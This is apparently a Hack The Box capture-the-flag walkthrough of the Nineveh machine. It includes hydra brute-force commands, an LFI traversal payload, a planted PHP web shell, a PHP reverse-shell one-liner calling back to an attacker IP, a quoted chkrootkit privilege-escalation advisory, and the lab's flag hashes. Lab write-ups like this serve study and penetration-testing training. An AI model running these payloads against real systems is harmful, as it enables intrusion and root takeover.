nmap

nmap shows nineveh is running
http service Apache 2.4.18 on port 80
https service Apache 2.4.18 on port 443

cert

certs files have the potential of containing valuable information about the box in question and is worth skimming through



E = admin@nineveh.htb ← admin user on the box
CN = nineveh.htb
OU = Support
O = HackTheBox Ltd
L = Athens
ST = Athens
C = GR

http

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.43


/department/login.php Standard login page
lets brute force the login on hydra


No luck visiting /server-status

/departmnet

hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/probable-v2-top12000.txt 10.10.10.43 http-post-form "/department/login.php=username^USER^&password=^PASS^:invalid: -t 64


where
-l is user
-P is the password list probable-v2-top12000.txt
10.10.10.43 is the our victim IP
http-post-form since our login form is a post request
then the login page, username & password parameters and a failed authentication attempt string server response, all wrapped in quotes and separated by colons
-t for threads





hydra successfully finds our admin password as 1q2w3e4r5t

notes

if we check the url, we see that the webserver may be vulnerable to local file inclusion (LFI)


http://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt

The webpage lists the following
• Have you fixed the login page yet! hardcoded username and password is really bad idea!

• check your secret folder to get in! figure it out! this is your challenge

• Improve the db interface.
~amrois <--potential username

Local File Inclusion Vuln

It is safe to assume the webserver has a LFI vulnerability due to a notes variable that points to the location of the file the webpage displays



Since most webservers are run within the /var/www/html directory, lets try to find and list the /etc/passwd file through the LFI

../../../../../../../etc/passwd

http://10.10.10.43/department/manage.php?notes=../../../../../../../etc/passwd
No Note is selected. is the message we get, lets try another LFI string


we see the webserver uses phpinclude() to grab local files but we failed the file path, seems the site is vulnerable to LFI!


we also see that the manage.php code that is handling our URL web requests is located in /var/www/html/department directory, which means the webserver's working directory is approximately 4 directories deep within the box
we can use this info to properly guess how many directories we need to backtrack out of to get to the / directory!


Bingo! we gotthe webserver to list /etc/passwd for us
http://10.10.10.43/department/manage.php?notes=/ninevehNotes../../../etc/passwd


When it comes to LFIs, you usually need to chain it to another vulnerability in order to get remote code execution. Therefore, lets start enumerating the next port to see if I can find another vulnerability that I can chain this one to.

/db

this hydra brute force willl be nearly the same command as for http except we use an HTTPS-post-form





hydra -l admin -P /usr/share/wordlists/Seclists/Passwords/probable-v2-top12000.txt https-post-form “/db/index.php:password=^PASS^&remember=yes&login=Log+In:Incorrect”


hydra successfully finds our admin password as password123

pass

revisiting the phpLiteAdmin login page:


we can login with our newly brute-forced password password123

initial foothold

Given what we have so far, nineveh has a Local file inclusion exploit and weak passwords, lets see if we can get an initial foothold through their phplite database we logged into:



lets see if searchsploit has anything


Remote PHP code execution seems likely on this box, lets see what the exploit does:



This is exactly the vulnerability I was hoping to find! This vulnerability allows me to drop a malicious file on the server and the LFI vulnerability we found earlier allows me to call and execute my malicious file.

1. Vulnerability is pretty straight forward, we first have to create our own database on phpliteadmin
2. create a table and write in some malicious php code
3. run it through our browser thanks to the nineveh's LFI vulnerability

create database and table w/ malicious php system call

Lets create a new database on phpliteadmin called random.php and add php code execution to a field inside it:


and drop <?php echo system($_REQUEST ['st0ve']); ?> in the variable as a text field


after we create we get


and we see the path to our php code in /var/tmp/random.php:

RCE through burp

burp captures the following get request we get when navigate to
10.10.10.43/department/manage.php?notes=/ninevehNotes../../../../var/tmp/shell.php&st0ve=ls


and the server response embedded with our executed php command


Lets switch GET to POST to make our command execution more seamless


this request does not execute code on the server but if we tweak a few things we can get it to work, lets move the LFI up to the POST
to

and leave

voila we have our RCE through a POST request

reverse shell

now that we have RCE working, lets get a reverse shell on our attack machine

pentest monkey gives us a wide array of reverse shell commands, lets pick one off the site


lets plug into burp and URL encode it
php -r '$sock=fsockopen("10.10.14.62",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

listener

got it! lets spawn and shell with python3 and get tab auto completion with stty raw -echo and foreground the reverse shell
python3 -c ‘import pty;pty.spawn("/bin/bash")’
ctrl+z to background the shell session
stty raw -echo to implement tab autocomplete
fg to foreground the shell session back



finally, import export TERM=xterm so we can clear the screen

privesc to root

lets download LinEnum.sh to our victim to start off our privilege escalation enumeration

set up our server


wget linEnum.sh


give it execute permissions and run it

LinEnum.sh

we see SSH is open but is listening on localhost! interesting but not relevant at the moment, lets keep this as a find



strange directory in /call/report


checking report we see theres a job being produected every minute (cron job)

pspy64

every minute a process called chkrootkit runs


...

custom ippsec procmon script

ippsec wrote a custom process spy script that might be a little easier to grasp which ill include and run here:





what this does is grab a list of every process thats running
then grab a process of every NEW process thats running,
diff the results to see processes that leave the list
then sleep and repeat

chkrootkit

Every minute or so the chkrootkit is being run. I’ve never seen that on a machine before so I googled it and found out that it is a program intended to help system administrators check their system for known rootkits. Next, I googled “chkrootkit privilege escalation” and landed on this exploit..3
https://www.exploit-db.com/exploits/33899

or mirror it with
searchsploit -m /linux/local/33899,txta

exploit-db.com/exploits/33899

We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).

The vulnerability is located in the function slapper() in the
shellscript chkrootkit:

#
# SLAPPER.{A,B,C,D} and the multi-platform variant
#
slapper (){
SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
OPT=-an
STATUS=0
file_port=

if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
then
STATUS=1
[ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
$egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print $7 }' |
tr -d :`
fi
for i in ${SLAPPER_FILES}; do
if [ -f ${i} ]; then
file_port=$file_port $i
STATUS=1
fi
done
if [ ${STATUS} -eq 1 ] ;then
echo "Warning: Possible Slapper Worm installed ($file_port)"
else
if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
return ${NOT_INFECTED}
fi
}


The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.


Suggested fix: Put quotation marks around the assignment.

file_port="$file_port $i"


I will also try to contact upstream, although the latest version of
chkrootkit dates back to 2009 - will have to see, if I reach a dev there.

nmap port knocking

a simple bash script that will ‘knock’ on ports 571, 290 and 911


for x in 571 290 911; do nmap -Pn --max-retries 0 -p $x 10.10.10.43 && sleep 1; done
Pn to skip host discovery
--max-retries=0 to prevent any probe retransmissions

nmap scan

lets scan our victim machine again to see if SSH is now open


its open!

ssh

remember the public and private keys we found in that picture back earlier? time to use them and ssh into artois since his name was mentioned back in the notes webpage


lets chmod 600 the key and try logging in:





and we have it! we're logged in as armois, privesc from here will be the same as before..

user/root

82a864f9eec2a76c166ec7b1078ca6c8


8a2b4956612b485720694fb45849ec3a

lessons learned

Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/